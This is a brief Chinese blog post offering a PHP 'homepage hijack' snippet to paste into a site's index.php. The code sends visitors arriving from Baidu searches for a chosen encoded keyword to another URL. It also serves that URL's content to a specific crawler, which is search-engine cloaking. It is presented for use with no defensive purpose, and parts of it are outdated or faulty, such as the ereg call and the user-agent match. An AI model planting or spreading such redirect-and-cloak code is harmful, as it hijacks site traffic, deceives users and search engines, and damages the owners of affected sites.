php主页添加劫持
发布时间:2022-07-04 22:26:44
作者:四川晨安迪网络科技有限公司
来源:本站
浏览量(48)
点赞(101)
摘要:<?php$url="http://www.bendiceshi.com"; //跳转网址$file="http://www.bendiceshi.com/"; //快照网址$referer=$_SERVER["HTTP_REFERER"];$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);if(strstr($referer,"baidu")&&strstr($referer,"%B2%CA"
<?php
$url="http://www.bendiceshi.com"; //跳转网址
$file="http://www.bendiceshi.com/"; //快照网址
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);
if(strstr($referer,"baidu")&&strstr($referer,"%B2%CA")) // 关键词url编码
{
Header("Location: $url");
}
if(ereg("http://www.bendiceshi/search/spider.htm",$agent))
{
$content=file_get_contents($file);
echo $content;
exit;
}
?>
放到首页index.php中
扫一扫,关注我们
声明:本文由【四川晨安迪网络科技有限公司】编辑上传发布,转载此文章须经作者同意,并请附上出处【四川晨安迪网络科技有限公司】及本页链接。如内容、图片有任何版权问题,请联系我们进行处理。
101